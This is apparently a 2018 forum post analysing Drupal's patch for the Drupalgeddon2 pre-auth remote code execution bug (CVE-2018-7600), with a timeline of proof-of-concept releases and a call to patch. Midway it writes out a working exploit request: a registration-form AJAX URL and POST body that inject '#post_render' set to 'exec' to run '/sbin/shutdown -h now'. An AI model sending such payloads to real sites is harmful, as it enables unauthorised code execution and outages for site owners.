Drupal - DrupalRequestSanitizer fixes pre-auth remote code exec bug (SA-CORE-2018-002 / CVE-2018-7600)

php
drupal
quick-tip
exploit-dev
coding
Tags: #<Tag:0x00007f0ca70be298> #<Tag:0x00007f0ca70be158> #<Tag:0x00007f0ca70be018> #<Tag:0x00007f0ca70bded8> #<Tag:0x00007f0ca70bdd98>

#1

Drupal has a good track record

One of Drupal’s main advantages over Wordpress is their security track record.

If you take a look at ExploitDB you’ll see that nearly all of the Drupal core issues have been post-auth, or have been introduced via modules from third parties. Excluding the SQL injection bug from 2014 (also known as Drupalgeddon)

Drupal hasn’t been big on milw0rm or FD as well, although it’s one of the older CMS projects using PHP. It’s safe to say, that Drupal development minds security. It’s not the end of the Web, folks.
Please prioritize patches. I hope that this post helps to motivate this.

Recently Drupal announced that they have a bug, that

  • can be triggered remotely
  • can give arbitrary code exec to unauthenticated users
  • can affect up to 1000000 sites

Time to read the PHP code

Let’s take a quick look at their patch.

In the bootstrap.inc file we can see a new include (Drupal 7.58 here):

 require_once DRUPAL_ROOT . '/includes/request-sanitizer.inc';
 DrupalRequestSanitizer::sanitize();

Ok, no biggie. A new include sanitizes the incoming requests.

For those, who have deleted all the *.txt files from the web-root folders, you can check the bootstrap.inc for the version. If you have trouble updating your Drupal, I recommend to look at Drush

Now… back to PHP code. Our new function looks like this:

 /**
  * Modifies the request to strip dangerous keys from user input.
  */
 public static function sanitize() {
   if (!self::$sanitized) {
     $whitelist = variable_get('sanitize_input_whitelist', array());
     $log_sanitized_keys = variable_get('sanitize_input_logging', FALSE);

Obvious spot: if we want to see what keys are being sanitized, we need to configure that.

Now… what are these dangerous keys?

Hash-tag injection?

The new function goes through the keys. Either they are whitelisted, or they don’t start with a #. Otherwise they are dropped; recursively to account for arrays…

 /**
  * Strips dangerous keys from the provided input.
  *
  * @param mixed $input
  *   The input to sanitize.
  * @param string[] $whitelist
  *   An array of keys to whitelist as safe.
  * @param string[] $sanitized_keys
  *   An array of keys that have been removed.
  *
  * @return mixed
  *   The sanitized input.
  */
 protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
   if (is_array($input)) {
     foreach ($input as $key => $value) {
       if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
         unset($input[$key]);
         $sanitized_keys[] = $key;
       }
       else {
         $input[$key] = self::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
       }
     }
   }
   return $input;
 } 

A # in PHP is a single line comment, like it is in many languages. So what’s the big deal here?

It's not a PHP bug, it's a Drupal bug

Again the sanitize() works with the GET, POST and Cookie parameters. Iterates over them; recursively. Calls a helper function. Drops the #s.

The Drupal form API uses the #.

So to trgger this bug you can go for a typical trigger route to issue array parameters to the Drupal app:

https://site/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

And add to the POST body:

{
'form_id': 'user_register_form', 
'_drupal_ajax': '1', 
'mail[#post_render][]': 'exec', 
'mail[#type]': 'markup', 
'mail[#markup]': '/sbin/shutdown -h now'
}

The registration form (among others) can allow to post form content. Here the mail[#post_render][] is exec. Sounds strange, doesn’t it: render my sign-up Email as exec. It gets posted as markup, so that the fields get concatenated. You might need to add a space somewhere…

But you probably don’t have to care for the rewrites since the Web server will forward the URL.

Is this wildly exploited?

Status: YES. I will update this post.

30.03.2018 - very timely SANS ISC blog about “Drupalgeddon2”
30.03.2018 - no mass PWNage has been reported
30.03.2018 - someone started drafting a mod_security rule

  • random folks start to point out that Cloudflare “secures Drupal at scale”. In reality few sites use Cloudflare’s WAF (it’s only available in the commercial subscriptions), and most sites are misconfigured.
    30.03.2018 - some infos on PoCs to be expected

31.03.2018 - someone created a GitHub repo, to drop a PoC soon. Sooner or later we will see something at packet storm, or at the MSF commits or PRs.
31.03.2018 - nothing…

01.04.2018 - find [PoC here](https://github.com/a2u/CVE-2018-7600) - April fools' joke success :)

02.04.2018 - greysec forum discussion about a PoC

03.04.2018 - I don’t expect a public PoC this week.

13.04.2018 - PoC

Personal note: I did not look at Ajax form handling here… I expected this to be a typical PHP bug, with an eval statement somewhere, or a PHP misconfig. It clearly isn’t.

This bug is an example of a mismatch between security functions in frontend and backend.

Changelog

30.03.2018 - initial post, collecting resources
31.03.2018 - re-organized the timeline, added some clearer explanations at the beginning
01.04.2018 - added April Fool’s
02.04.2018 - nothing new. This starts to get funny.
03.04.2018 - added some general infos about PHP web apps and exploit development. Relevant or not… who knows
04.04.2018 - moved PHP bug-hunting ideas into appendix, added “Input Format” idea
13.04.2018 - linked PoC, removed useless content related to typical PHP bugs